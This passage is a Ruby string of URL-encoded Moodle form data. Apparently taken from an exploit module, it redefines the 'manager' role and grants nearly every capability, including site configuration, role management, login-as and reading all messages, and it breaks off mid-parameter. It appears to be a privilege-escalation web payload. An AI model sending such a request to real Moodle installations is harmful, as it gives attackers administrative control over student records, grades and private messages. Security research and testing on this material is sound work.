"sesskey=#{sess_key}&return=manage&resettype=none&shortname=manager&name=&description=&archetype=manager&contextlevel10=0&contextlevel10=1&contextlevel30=0&contextlevel30=1&contextlevel40=0&contextlevel40=1&contextlevel50=0&contextlevel50=1&contextlevel70=0&contextlevel70=1&contextlevel80=0&contextlevel80=1&allowassign%5B%5D=&allowassign%5B%5D=1&allowassign%5B%5D=2&allowassign%5B%5D=3&allowassign%5B%5D=4&allowassign%5B%5D=5&allowassign%5B%5D=6&allowassign%5B%5D=7&allowassign%5B%5D=8&allowoverride%5B%5D=&allowoverride%5B%5D=1&allowoverride%5B%5D=2&allowoverride%5B%5D=3&allowoverride%5B%5D=4&allowoverride%5B%5D=5&allowoverride%5B%5D=6&allowoverride%5B%5D=7&allowoverride%5B%5D=8&allowswitch%5B%5D=&allowswitch%5B%5D=1&allowswitch%5B%5D=2&allowswitch%5B%5D=3&allowswitch%5B%5D=4&allowswitch%5B%5D=5&allowswitch%5B%5D=6&allowswitch%5B%5D=7&allowswitch%5B%5D=8&allowview%5B%5D=&allowview%5B%5D=1&allowview%5B%5D=2&allowview%5B%5D=3&allowview%5B%5D=4&allowview%5B%5D=5&allowview%5B%5D=6&allowview%5B%5D=7&allowview%5B%5D=8&block%2Fadmin_bookmarks%3Amyaddinstance=1&block%2Fbadges%3Amyaddinstance=1&block%2Fcalendar_month%3Amyaddinstance=1&block%2Fcalendar_upcoming%3Amyaddinstance=1&block%2Fcomments%3Amyaddinstance=1&block%2Fcourse_list%3Amyaddinstance=1&block%2Fglobalsearch%3Amyaddinstance=1&block%2Fglossary_random%3Amyaddinstance=1&block%2Fhtml%3Amyaddinstance=1&block%2Flp%3Aaddinstance=1&block%2Flp%3Amyaddinstance=1&block%2Fmentees%3Amyaddinstance=1&block%2Fmnet_hosts%3Amyaddinstance=1&block%2Fmyoverview%3Amyaddinstance=1&block%2Fmyprofile%3Amyaddinstance=1&block%2Fnavigation%3Amyaddinstance=1&block%2Fnews_items%3Amyaddinstance=1&block%2Fonline_users%3Amyaddinstance=1&block%2Fprivate_files%3Amyaddinstance=1&block%2Frecentlyaccessedcourses%3Amyaddinstance=1&block%2Frecentlyaccesseditems%3Amyaddinstance=1&block%2Frss_client%3Amyaddinstance=1&block%2Fsettings%3Amyaddinstance=1&block%2Fstarredcourses%3Amyaddinstance=1&block%2Ftags%3Amyaddinstance=1&block%2Ftimeline%3Amyaddinstance=1&enrol%2Fcategory%3Asynchronised=1&message%2Fairnotifier%3Amanagedevice=1&moodle%2Fanalytics%3Alistowninsights=1&moodle%2Fanalytics%3Amanagemodels=1&moodle%2Fbadges%3Amanageglobalsettings=1&moodle%2Fblog%3Acreate=1&moodle%2Fblog%3Amanageentries=1&moodle%2Fblog%3Amanageexternal=1&moodle%2Fblog%3Asearch=1&moodle%2Fblog%3Aview=1&moodle%2Fblog%3Aviewdrafts=1&moodle%2Fcourse%3Aconfigurecustomfields=1&moodle%2Fcourse%3Arecommendactivity=1&moodle%2Fgrade%3Amanagesharedforms=1&moodle%2Fgrade%3Asharegradingforms=1&moodle%2Fmy%3Aconfigsyspages=1&moodle%2Fmy%3Amanageblocks=1&moodle%2Fportfolio%3Aexport=1&moodle%2Fquestion%3Aconfig=1&moodle%2Frestore%3Acreateuser=1&moodle%2Frole%3Amanage=1&moodle%2Fsearch%3Aquery=1&moodle%2Fsite%3Aconfig=1&moodle%2Fsite%3Aconfigview=1&moodle%2Fsite%3Adeleteanymessage=1&moodle%2Fsite%3Adeleteownmessage=1&moodle%2Fsite%3Adoclinks=1&moodle%2Fsite%3Aforcelanguage=1&moodle%2Fsite%3Amaintenanceaccess=1&moodle%2Fsite%3Amanageallmessaging=1&moodle%2Fsite%3Amessageanyuser=1&moodle%2Fsite%3Amnetlogintoremote=1&moodle%2Fsite%3Areadallmessages=1&moodle%2Fsite%3Asendmessage=1&moodle%2Fsite%3Auploadusers=1&moodle%2Fsite%3Aviewparticipants=1&moodle%2Ftag%3Aedit=1&moodle%2Ftag%3Aeditblocks=1&moodle%2Ftag%3Aflag=1&moodle%2Ftag%3Amanage=1&moodle%2Fuser%3Achangeownpassword=1&moodle%2Fuser%3Acreate=1&moodle%2Fuser%3Adelete=1&moodle%2Fuser%3Aeditownmessageprofile=1&moodle%2Fuser%3Aeditownprofile=1&moodle%2Fuser%3Aignoreuserquota=1&moodle%2Fuser%3Amanageownblocks=1&moodle%2Fuser%3Amanageownfiles=1&moodle%2Fuser%3Amanagesyspages=1&moodle%2Fuser%3Aupdate=1&moodle%2Fwebservice%3Acreatemobiletoken=1&moodle%2Fwebservice%3Acreatetoken=1&moodle%2Fwebservice%3Amanagealltokens=1&quizaccess%2Fseb%3Amanagetemplates=1&report%2Fcourseoverview%3Aview=1&report%2Fperformance%3Aview=1&report%2Fquestioninstances%3Aview=1&report%2Fsecurity%3Aview=1&report%2Fstatus%3Aview=1&tool%2Fcustomlang%3Aedit=1&tool%2Fcustomlang%3Aview=1&tool%2Fdataprivacy%3Amanagedataregistry=1&tool%2Fdataprivacy%3Amanagedatarequests=1&tool%2Fdataprivacy%3Arequestdeleteforotheruser=1&tool%2Flpmigrate%3Aframeworksmigrate=1&tool%2Fmonitor%3Amanagetool=1&tool%2Fpolicy%3Aaccept=1&tool%2Fpolicy%3Amanagedocs=1&tool%2Fpolicy%3Aviewacceptances=1&tool%2Fuploaduser%3Auploaduserpictures=1&tool%2Fusertours%3Amanagetours=1&auth%2Foauth2%3Amanagelinkedlogins=1&moodle%2Fbadges%3Amanageownbadges=1&moodle%2Fbadges%3Aviewotherbadges=1&moodle%2Fcompetency%3Aevidencedelete=1&moodle%2Fcompetency%3Aplancomment=1&moodle%2Fcompetency%3Aplancommentown=1&moodle%2Fcompetency%3Aplanmanage=1&moodle%2Fcompetency%3Aplanmanagedraft=1&moodle%2Fcompetency%3Aplanmanageown=1&moodle%2Fcompetency%3Aplanmanageowndraft=1&moodle%2Fcompetency%3Aplanrequestreview=1&moodle%2Fcompetency%3Aplanrequestreviewown=1&moodle%2Fcompetency%3Aplanreview=1&moodle%2Fcompetency%3Aplanview=1&moodle%2Fcompetency%3Aplanviewdraft=1&moodle%2Fcompetency%3Aplanviewown=1&moodle%2Fcompetency%3Aplanviewowndraft=1&moodle%2Fcompetency%3Ausercompetencycomment=1&moodle%2Fcompetency%3Ausercompetencycommentown=1&moodle%2Fcompetency%3Ausercompetencyrequestreview=1&moodle%2Fcompetency%3Ausercompetencyrequestreviewown=1&moodle%2Fcompetency%3Ausercompetencyreview=1&moodle%2Fcompetency%3Ausercompetencyview=1&moodle%2Fcompetency%3Auserevidencemanage=1&moodle%2Fcompetency%3Auserevidencemanageown=0&moodle%2Fcompetency%3Auserevidenceview=1&moodle%2Fuser%3Aeditmessageprofile=1&moodle%2Fuser%3Aeditprofile=1&moodle%2Fuser%3Amanageblocks=1&moodle%2Fuser%3Areaduserblogs=1&moodle%2Fuser%3Areaduserposts=1&moodle%2Fuser%3Aviewalldetails=1&moodle%2Fuser%3Aviewlastip=1&moodle%2Fuser%3Aviewuseractivitiesreport=1&report%2Fusersessions%3Amanageownsessions=1&tool%2Fdataprivacy%3Adownloadallrequests=1&tool%2Fdataprivacy%3Adownloadownrequest=1&tool%2Fdataprivacy%3Amakedatadeletionrequestsforchildren=1&tool%2Fdataprivacy%3Amakedatarequestsforchildren=1&tool%2Fdataprivacy%3Arequestdelete=1&tool%2Fpolicy%3Aacceptbehalf=1&moodle%2Fcategory%3Amanage=1&moodle%2Fcategory%3Aviewcourselist=1&moodle%2Fcategory%3Aviewhiddencategories=1&moodle%2Fcohort%3Aassign=1&moodle%2Fcohort%3Amanage=1&moodle%2Fcompetency%3Acompetencymanage=1&moodle%2Fcompetency%3Acompetencyview=1&moodle%2Fcompetency%3Atemplatemanage=1&moodle%2Fcompetency%3Atemplateview=1&moodle%2Fcourse%3Acreate=1&moodle%2Fcourse%3Arequest=1&moodle%2Fsite%3Aapprovecourse=1&repository%2Fcontentbank%3Aaccesscoursecategorycontent=1&repository%2Fcontentbank%3Aaccessgeneralcontent=1&block%2Frecent_activity%3Aviewaddupdatemodule=1&block%2Frecent_activity%3Aviewdeletemodule=1&contenttype%2Fh5p%3Aaccess=1&contenttype%2Fh5p%3Aupload=1&contenttype%2Fh5p%3Auseeditor=1&enrol%2Fcategory%3Aconfig=1&enrol%2Fcohort%3Aconfig=1&enrol%2Fcohort%3Aunenrol=1&enrol%2Fdatabase%3Aconfig=1&enrol%2Fdatabase%3Aunenrol=1&enrol%2Fflatfile%3Amanage=1&enrol%2Fflatfile%3Aunenrol=1&enrol%2Fguest%3Aconfig=1&enrol%2Fimsenterprise%3Aconfig=1&enrol%2Fldap%3Amanage=1&enrol%2Flti%3Aconfig=1&enrol%2Flti%3Aunenrol=1&enrol%2Fmanual%3Aconfig=1&enrol%2Fmanual%3Aenrol=1&enrol%2Fmanual%3Amanage=1&enrol%2Fmanual%3Aunenrol=1&enrol%2Fmanual%3Aunenrolself=1&enrol%2Fmeta%3Aconfig=1&enrol%2Fmeta%3Aselectaslinked=1&enrol%2Fmeta%3Aunenrol=1&enrol%2Fmnet%3Aconfig=1&enrol%2Fpaypal%3Aconfig=1&enrol%2Fpaypal%3Amanage=1&enrol%2Fpaypal%3Aunenrol=1&enrol%2Fpaypal%3Aunenrolself=1&enrol%2Fself%3Aconfig=1&enrol%2Fself%3Aholdkey=1&enrol%2Fself%3Amanage=1&enrol%2Fself%3Aunenrol=1&enrol%2Fself%3Aunenrolself=1&gradeexport%2Fods%3Apublish=1&gradeexport%2Fods%3Aview=1&gradeexport%2Ftxt%3Apublish=1&gradeexport%2Ftxt%3Aview=1&gradeexport%2Fxls%3Apublish=1&gradeexport%2Fxls%3Aview=1&gradeexport%2Fxml%3Apublish=1&gradeexport%2Fxml%3Aview=1&gradeimport%2Fcsv%3Aview=1&gradeimport%2Fdirect%3Aview=1&gradeimport%2Fxml%3Apublish=1&gradeimport%2Fxml%3Aview=1&gradereport%2Fgrader%3Aview=1&gradereport%2Fhistory%3Aview=1&gradereport%2Foutcomes%3Aview=1&gradereport%2Foverview%3Aview=1&gradereport%2Fsingleview%3Aview=1&gradereport%2Fuser%3Aview=1&mod%2Fassign%3Aaddinstance=1&mod%2Fassignment%3Aaddinstance=1&mod%2Fbook%3Aaddinstance=1&mod%2Fchat%3Aaddinstance=1&mod%2Fchoice%3Aaddinstance=1&mod%2Fdata%3Aaddinstance=1&mod%2Ffeedback%3Aaddinstance=1&mod%2Ffolder%3Aaddinstance=1&mod%2Fforum%3Aaddinstance=1&mod%2Fglossary%3Aaddinstance=1&mod%2Fh5pactivity%3Aaddinstance=1&mod%2Fimscp%3Aaddinstance=1&mod%2Flabel%3Aaddinstance=1&mod%2Flesson%3Aaddinstance=1&mod%2Flti%3Aaddcoursetool=1&mod%2Flti%3Aaddinstance=1&mod%2Flti%3Aaddmanualinstance=1&mod%2Flti%3Aaddpreconfiguredinstance=1&mod%2Flti%3Arequesttooladd=1&mod%2Fpage%3Aaddinstance=1&mod%2Fquiz%3Aaddinstance=1&mod%2Fresource%3Aaddinstance=1&mod%2Fscorm%3Aaddinstance=1&mod%2Fsurvey%3Aaddinstance=1&mod%2Furl%3Aaddinstance=1&mod%2Fwiki%3Aaddinstance=1&mod%2Fworkshop%3Aaddinstance=1&moodle%2Fanalytics%3Alistinsights=1&moodle%2Fbackup%3Aanonymise=1&moodle%2Fbackup%3Abackupcourse=1&moodle%2Fbackup%3Abackupsection=1&moodle%2Fbackup%3Abackuptargetimport=1&moodle%2Fbackup%3Aconfigure=1&moodle%2Fbackup%3Adownloadfile=1&moodle%2Fbackup%3Auserinfo=1&moodle%2Fbadges%3Aawardbadge=1&moodle%2Fbadges%3Aconfigurecriteria=1&moodle%2Fbadges%3Aconfiguredetails=1&moodle%2Fbadges%3Aconfiguremessages=1&moodle%2Fbadges%3Acreatebadge=1&moodle%2Fbadges%3Adeletebadge=1&moodle%2Fbadges%3Aearnbadge=1&moodle%2Fbadges%3Arevokebadge=1&moodle%2Fbadges%3Aviewawarded=1&moodle%2Fbadges%3Aviewbadges=1&moodle%2Fcalendar%3Amanageentries=1&moodle%2Fcalendar%3Amanagegroupentries=1&moodle%2Fcalendar%3Amanageownentries=1&moodle%2Fcohort%3Aview=1&moodle%2Fcomment%3Adelete=1&moodle%2Fcomment%3Apost=1&moodle%2Fcomment%3Aview=1&moodle%2Fcompetency%3Acompetencygrade=1&moodle%2Fcompetency%3Acoursecompetencygradable=1&moodle%2Fcompetency%3Acoursecompetencymanage=1&moodle%2Fcompetency%3Acoursecompetencyview=1&moodle%2Fcontentbank%3Aaccess=1&moodle%2Fcontentbank%3Adeleteanycontent=1&moodle%2Fcontentbank%3Adeleteowncontent=1&moodle%2Fcontentbank%3Amanageanycontent=1&moodle%2Fcontentbank%3Amanageowncontent=1&moodle%2Fcontentbank%3Aupload=1&moodle%2Fcontentbank%3Auseeditor=1&moodle%2Fcourse%3Abulkmessaging=1&moodle%2Fcourse%3Achangecategory=1&moodle%2Fcourse%3Achangefullname=1&moodle%2Fcourse%3Achangeidnumber=1&moodle%2Fcourse%3Achangelockedcustomfields=1&moodle%2Fcourse%3Achangeshortname=1&moodle%2Fcourse%3Achangesummary=1&moodle%2Fcourse%3Acreategroupconversations=1&moodle%2Fcourse%3Adelete=1&moodle%2Fcourse%3Aenrolconfig=1&moodle%2Fcourse%3Aenrolreview=1&moodle%2Fcourse%3Aignorefilesizelimits=1&moodle%2Fcourse%3Aisincompletionreports=1&moodle%2Fcourse%3Amanagefiles=1&moodle%2Fcourse%3Amanagegroups=1&moodle%2Fcourse%3Amanagescales=1&moodle%2Fcourse%3Amarkcomplete=1&moodle%2Fcourse%3Amovesections=1&moodle%2Fcourse%3Aoverridecompletion=1&moodle%2Fcourse%3Arenameroles=1&moodle%2Fcourse%3Areset=1&moodle%2Fcourse%3Areviewotherusers=1&moodle%2Fcourse%3Asectionvisibility=1&moodle%2Fcourse%3Asetcurrentsection=1&moodle%2Fcourse%3Asetforcedlanguage=1&moodle%2Fcourse%3Atag=1&moodle%2Fcourse%3Aupdate=1&moodle%2Fcourse%3Auseremail=1&moodle%2Fcourse%3Aview=1&moodle%2Fcourse%3Aviewhiddencourses=1&moodle%2Fcourse%3Aviewhiddensections=1&moodle%2Fcourse%3Aviewhiddenuserfields=1&moodle%2Fcourse%3Aviewparticipants=1&moodle%2Fcourse%3Aviewscales=1&moodle%2Fcourse%3Aviewsuspendedusers=1&moodle%2Fcourse%3Avisibility=1&moodle%2Ffilter%3Amanage=1&moodle%2Fgrade%3Aedit=1&moodle%2Fgrade%3Aexport=1&moodle%2Fgrade%3Ahide=1&moodle%2Fgrade%3Aimport=1&moodle%2Fgrade%3Alock=1&moodle%2Fgrade%3Amanage=1&moodle%2Fgrade%3Amanagegradingforms=1&moodle%2Fgrade%3Amanageletters=1&moodle%2Fgrade%3Amanageoutcomes=1&moodle%2Fgrade%3Aunlock=1&moodle%2Fgrade%3Aview=1&moodle%2Fgrade%3Aviewall=1&moodle%2Fgrade%3Aviewhidden=1&moodle%2Fnotes%3Amanage=1&moodle%2Fnotes%3Aview=1&moodle%2Fquestion%3Aadd=1&moodle%2Fquestion%3Aeditall=1&moodle%2Fquestion%3Aeditmine=1&moodle%2Fquestion%3Aflag=1&moodle%2Fquestion%3Amanagecategory=1&moodle%2Fquestion%3Amoveall=1&moodle%2Fquestion%3Amovemine=1&moodle%2Fquestion%3Atagall=1&moodle%2Fquestion%3Atagmine=1&moodle%2Fquestion%3Auseall=1&moodle%2Fquestion%3Ausemine=1&moodle%2Fquestion%3Aviewall=1&moodle%2Fquestion%3Aviewmine=1&moodle%2Frating%3Arate=1&moodle%2Frating%3Aview=1&moodle%2Frating%3Aviewall=1&moodle%2Frating%3Aviewany=1&moodle%2Frestore%3Aconfigure=1&moodle%2Frestore%3Arestoreactivity=1&moodle%2Frestore%3Arestorecourse=1&moodle%2Frestore%3Arestoresection=1&moodle%2Frestore%3Arestoretargetimport=1&moodle%2Frestore%3Arolldates=1&moodle%2Frestore%3Auploadfile=1&moodle%2Frestore%3Auserinfo=1&moodle%2Frestore%3Aviewautomatedfilearea=1&moodle%2Frole%3Aassign=1&moodle%2Frole%3Aoverride=1&moodle%2Frole%3Areview=1&moodle%2Frole%3Asafeoverride=1&moodle%2Frole%3Aswitchroles=1&moodle%2Fsite%3Aviewreports=1&moodle%2Fuser%3Aloginas=1&moodle%2Fuser%3Aviewdetails=1&moodle%2Fuser%3Aviewhiddendetails=1&report%2Fcompletion%3Aview=1&report%2Flog%3Aview=1&report%2Flog%3Aviewtoday=1&report%2Floglive%3Aview=1&report%2Foutline%3Aview=1&report%2Foutline%3Aviewuserreport=1&report%2Fparticipation%3Aview=1&report%2Fprogress%3Aview=1&report%2Fstats%3Aview=1&repository%2Fcontentbank%3Aaccesscoursecontent=1&tool%2Fmonitor%3Amanagerules=1&tool%2Fmonitor%3Asubscribe=1&tool%2Frecyclebin%3Adeleteitems=1&tool%2Frecyclebin%3Arestoreitems=1&tool%2Frecyclebin%3Aviewitems=1&webservice%2Frest%3Ause=1&webservice%2Fsoap%3Ause=1&webservice%2Fxmlrpc%3Ause=1&atto%2Fh5p%3Aaddembed=1&atto%2Frecordrtc%3Arecordaudio=1&atto%2Frecordrtc%3Arecordvideo=1&booktool%2Fexportimscp%3Aexport=1&booktool%2Fimporthtml%3Aimport=1&booktool%2Fprint%3Aprint=1&forumreport%2Fsummary%3Aview=1&forumreport%2Fsummary%3Aviewall=1&mod%2Fassign%3Aeditothersubmission=1&mod%2Fassign%3Aexportownsubmission=1&mod%2Fassign%3Agrade=1&mod%2Fassign%3Agrantextension=1&mod%2Fassign%3Amanageallocations=1&mod%2Fassign%3Amanagegrades=1&mod%2Fassign%3Amanageoverrides=1&mod%2Fassign%3Areceivegradernotifications=1&mod%2Fassign%3Areleasegrades=1&mod%2Fassign%3Arevealidentities=1&mod%2Fassign%3Areviewgrades=1&mod%2Fassign%3Ashowhiddengrader=1&mod%2Fassign%3Asubmit=1&mod%2Fassign%3Aview=1&mod%2Fassign%3Aviewblinddetails=1&mod%2Fassign%3Aviewgrades=1&mod%2Fassignment%3Aexportownsubmission=1&mod%2Fassignment%3Agrade=1&mod%2Fassignment%3Asubmit=1&mod%2Fassignment%3Aview=1&mod%2Fbook%3Aedit=1&mod%2Fbook%3Aread=1&mod%2Fbook%3Aviewhiddenchapters=1&mod%2Fchat%3Achat=1&mod%2Fchat%3Adeletelog=1&mod%2Fchat%3Aexportparticipatedsession=1&mod%2Fchat%3Aexportsession=1&mod%2Fchat%3Areadlog=1&mod%2Fchat%3Aview=1&mod%2Fchoice%3Achoose=1&mod%2Fchoice%3Adeleteresponses=1&mod%2Fchoice%3Adownloadresponses=1&mod%2Fchoice%3Areadresponses=1&mod%2Fchoice%3Aview=1&mod%2Fdata%3Aapprove=1&mod%2Fdata%3Acomment=1&mod%2Fdata%3Aexportallentries=1&mod%2Fdata%3Aexportentry=1&mod%2Fdata%3Aexportownentry=1&mod%2Fdata%3Aexportuserinfo=1&mod%2Fdata%3Amanagecomments=1&mod%2Fdata%3Amanageentries=1&mod%2Fdata%3Amanagetemplates=1&mod%2Fdata%3Amanageuserpresets=1&mod%2Fdata%3Arate=1&mod%2Fdata%3Aview=1&mod%2Fdata%3Aviewallratings=1&mod%2Fdata%3Aviewalluserpresets=1&mod%2Fdata%3Aviewanyrating=1&mod%2Fdata%3Aviewentry=1&mod%2Fdata%3Aviewrating=1&mod%2Fdata%3Awriteentry=1&mod%2Ffeedback%3Acomplete=1&mod%2Ffeedback%3Acreateprivatetemplate=1&mod%2Ffeedback%3Acreatepublictemplate=1&mod%2Ffeedback%3Adeletesubmissions=1&mod%2Ffeedback%3Adeletetemplate=1&mod%2Ffeedback%3Aedititems=1&mod%2Ffeedback%3Amapcourse=1&mod%2Ffeedback%3Areceivemail=1&mod%2Ffeedback%3Aview=1&mod%2Ffeedback%3Aviewanalysepage=1&mod%2Ffeedback%3Aviewreports=1&mod%2Ffolder%3Amanagefiles=1&mod%2Ffolder%3Aview=1&mod%2Fforum%3Aaddnews=1&mod%2Fforum%3Aaddquestion=1&mod%2Fforum%3Aallowforcesubscribe=1&mod%2Fforum%3Acanoverridecutoff=1&mod%2Fforum%3Acanoverridediscussionlock=1&mod%2Fforum%3Acanposttomygroups=1&mod%2Fforum%3Acantogglefavourite=1&mod%2Fforum%3Acreateattachment=1&mod%2Fforum%3Adeleteanypost=1&mod%2Fforum%3Adeleteownpost=1&mod%2Fforum%3Aeditanypost=1&mod%2Fforum%3Aexportdiscussion=1&mod%2Fforum%3Aexportforum=1&mod%2Fforum%3Aexportownpost=1&mod%2Fforum%3Aexportpost=1&mod%2Fforum%3Agrade=1&mod%2Fforum%3Amanagesubscriptions=1&mod%2Fforum%3Amovediscussions=1&mod%2Fforum%3Apindiscussions=1&mod%2Fforum%3Apostprivatereply=1&mod%2Fforum%3Apostwithoutthrottling=1&mod%2Fforum%3Arate=1&mod%2Fforum%3Areadprivatereplies=1&mod%2Fforum%3Areplynews=1&mod%2Fforum%3Areplypost=1&mod%2Fforum%3Asplitdiscussions=1&mod%2Fforum%3Astartdiscussion=1&mod%2Fforum%3Aviewallratings=1&mod%2Fforum%3Aviewanyrating=1&mod%2Fforum%3Aviewdiscussion=1&mod%2Fforum%3Aviewhiddentimedposts=1&mod%2Fforum%3Aviewqandawithoutposting=1&mod%2Fforum%3Aviewrating=1&mod%2Fforum%3Aviewsubscribers=1&mod%2Fglossary%3Aapprove=1&mod%2Fglossary%3Acomment=1&mod%2Fglossary%3Aexport=1&mod%2Fglossary%3Aexportentry=1&mod%2Fglossary%3Aexportownentry=1&mod%2Fglossary%3Aimport=1&mod%2Fglossary%3Amanagecategories=1&mod%2Fglossary%3Amanagecomments=1&mod%2Fglossary%3Amanageentries=1&mod%2Fglossary%3Arate=1&mod%2Fglossary%3Aview=1&mod%2Fglossary%3Aviewallratings=1&mod%2Fglossary%3Aviewanyrating=1&mod%2Fglossary%3Aviewrating=1&mod%2Fglossary%3Awrite=1&mod%2Fh5pactivity%3Areviewattempts=1&mod%2Fh5pactivity%3Asubmit=1&mod%2Fh5pactivity%3Aview=1&mod%2Fimscp%3Aview=1&mod%2Flabel%3Aview=1&mod%2Flesson%3Aedit=1&mod%2Flesson%3Agrade=1&mod%2Flesson%3Amanage=1&mod%2Flesson%3Amanageoverrides=1&mod%2Flesson%3Aview=1&mod%2Flesson%3Aviewreports=1&mod%2Flti%3Aadmin=1&mod%2Flti%3Amanage=1&mod%2Flti%3Aview=1&mod%2Fpage%3Aview=1&mod%2Fquiz%3Aattempt=1&mod%2Fquiz%3Adeleteattempts=1&mod%2Fquiz%3Aemailconfirmsubmission=1&mod%2Fquiz%3Aemailnotifysubmission=1&mod%2Fquiz%3Aemailwarnoverdue=1&mod%2Fquiz%3Agrade=1&mod%2Fquiz%3Aignoretimelimits=1&mod%2Fquiz%3Amanage=1&mod%2Fquiz%3Amanageoverrides=1&mod%2Fquiz%3Apreview=1&mod%2Fquiz%3Aregrade=1&mod%2Fquiz%3Areviewmyattempts=1&mod%2Fquiz%3Aview=1&mod%2Fquiz%3Aviewreports=1&mod%2Fresource%3Aview=1&mod%2Fscorm%3Adeleteownresponses=1&mod%2Fscorm%3Adeleteresponses=1&mod%2Fscorm%3Asavetrack=1&mod%2Fscorm%3Askipview=1&mod%2Fscorm%3Aviewreport=1&mod%2Fscorm%3Aviewscores=1&mod%2Fsurvey%3Adownload=1&mod%2Fsurvey%3Aparticipate=1&mod%2Fsurvey%3Areadresponses=1&mod%2Furl%3Aview=1&mod%2Fwiki%3Acreatepage=1&mod%2Fwiki%3Aeditcomment=1&mod%2Fwiki%3Aeditpage=1&mod%2Fwiki%3Amanagecomment=1&mod%2Fwiki%3Amanagefiles=1&mod%2Fwiki%3Amanagewiki=1&mod%2Fwiki%3Aoverridelock=1&mod%2Fwiki%3Aviewcomment=1&mod%2Fwiki%3Aviewpage=1&mod%2Fworkshop%3Aallocate=1&mod%2Fworkshop%3Adeletesubmissions=1&mod%2Fworkshop%3Aeditdimensions=1&mod%2Fworkshop%3Aexportsubmissions=1&mod%2Fworkshop%3Aignoredeadlines=1&mod%2Fworkshop%3Amanageexamples=1&mod%2Fworkshop%3Aoverridegrades=1&mod%2Fworkshop%3Apeerassess=1&mod%2Fworkshop%3Apublishsubmissions=1&mod%2Fworkshop%3Asubmit=1&mod%2Fworkshop%3Aswitchphase=1&mod%2Fworkshop%3Aview=1&mod%2Fworkshop%3Aviewallassessments=1&mod%2Fworkshop%3Aviewallsubmissions=1&mod%2Fworkshop%3Aviewauthornames=1&mod%2Fworkshop%3Aviewauthorpublished=1&mod%2Fworkshop%3Aviewpublishedsubmissions=1&mod%2Fworkshop%3Aviewreviewernames=1&moodle%2Fbackup%3Abackupactivity=1&moodle%2Fcompetency%3Acoursecompetencyconfigure=1&moodle%2Fcourse%3Aactivityvisibility=1&moodle%2Fcourse%3Aignoreavailabilityrestrictions=1&moodle%2Fcourse%3Amanageactivities=1&moodle%2Fcourse%3Atogglecompletion=1&moodle%2Fcourse%3Aviewhiddenactivities=1&moodle%2Fh5p%3Adeploy=1&moodle%2Fh5p%3Asetdisplayoptions=1&moodle%2Fh5p%3Aupdatelibraries=1&moodle%2Fsite%3Aaccessallgroups=1&moodle%2Fsite%3Amanagecontextlocks=1&moodle%2Fsite%3Atrustcontent=1&moodle%2Fsite%3Aviewanonymousevents=1&moodle%2Fsite%3Aviewfullnames=1&moodle%2Fsite%3Aviewuseridentity=1&quiz%2Fgrading%3Aviewidnumber=1&quiz%2Fgrading%3Aviewstudentnames=1&quiz%2Fstatistics%3Aview=1&quizaccess%2Fseb%3Abypassseb=1&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=1&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=1&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=1&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=1&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=1&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=1&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=1&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=1&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=1&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=1&quizaccess%2Fseb%3Amanage_seb_linkquitseb=1&quizaccess%2Fseb%3Amanage_seb_muteonstartup=1&quizaccess%2Fseb%3Amanage_seb_quitpassword=1&quizaccess%2Fseb%3Amanage_seb_regexallowed=1&quizaccess%2Fseb%3Amanage_seb_regexblocked=1&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=1&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=1&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=1&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=1&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=1&quizaccess%2Fseb%3Amanage_seb_showtime=1&quizaccess%2Fseb%3Amanage_seb_showwificontrol=1&quizaccess%2Fseb%3Amanage_seb_templateid=1&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=1&repository%2Fareafiles%3Aview=1&repository%2Fboxnet%3Aview=1&repository%2Fcontentbank%3Aview=1&repository%2Fcoursefiles%3Aview=1&repository%2Fdropbox%3Aview=1&repository%2Fequella%3Aview=1&repository%2Ffilesystem%3Aview=1&repository%2Fflickr%3Aview=1&repository%2Fflickr_public%3Aview=1&repository%2Fgoogledocs%3Aview=1&repository%2Flocal%3Aview=1&repository%2Fmerlot%3Aview=0&repository%2Fnextcloud%3Aview=1&repository%2Fonedrive%3Aview=1&repository%2Fpicasa%3Aview=1&repository%2Frecent%3Aview=1&repository%2Fs3%3Aview=1&repository%2Fskydrive%3Aview=1&repository%2Fupload%3Aview=1&repository%2Furl%3Aview=1&repository%2Fuser%3Aview=1&repository%2Fwebdav%3Aview=1&repository%2Fwikimedia%3Aview=1&repository%2Fyoutube%3Aview=1&block%2Factivity_modules%3Aaddinstance=1&block%2Factivity_results%3Aaddinstance=1&block%2Fadmin_bookmarks%3Aaddinstance=1&block%2Fbadges%3Aaddinstance=1&block%2Fblog_menu%3Aaddinstance=1&block%2Fblog_recent%3Aaddinstance=1&block%2Fblog_tags%3Aaddinstance=1&block%2Fcalendar_month%3Aaddinstance=1&block%2Fcalendar_upcoming%3Aaddinstance=1&block%2Fcomments%3Aaddinstance=1&block%2Fcompletionstatus%3Aaddinstance=1&block%2Fcourse_list%3Aaddinstance=1&block%2Fcourse_summary%3Aaddinstance=1&block%2Ffeedback%3Aaddinstance=1&block%2Fglobalsearch%3Aaddinstance=1&block%2Fglossary_random%3Aaddinstance=1&block%2Fhtml%3Aaddinstance=1&block%2Flogin%3Aaddinstance=1&block%2Fmentees%3Aaddinstance=1&block%2Fmnet_hosts%3Aaddinstance=1&block%2Fmyprofile%3Aaddinstance=1&block%2Fnavigation%3Aaddinstance=1&block%2Fnews_items%3Aaddinstance=1&block%2Fonline_users%3Aaddinstance=1&block%2Fonline_users%3Aviewlist=1&block%2Fprivate_files%3Aaddinstance=1&block%2Fquiz_results%3Aaddinstance=1&block%2Frecent_activity%3Aaddinstance=1&block%2Frss_client%3Aaddinstance=1&block%2Frss_client%3Amanageanyfeeds=1&block%2Frss_client%3Amanageownfeeds=1&block%2Fsearch_forums%3Aaddinstance=1&block%2Fsection_links%3Aaddinstance=1&block%2Fselfcompletion%3Aaddinstance=1&block%2Fsettings%3Aaddinstance=1&block%2Fsite_main_menu%3Aaddinstance=1&block%2Fsocial_activities%3Aaddinstance=1&block%2Ftag_flickr%3Aaddinst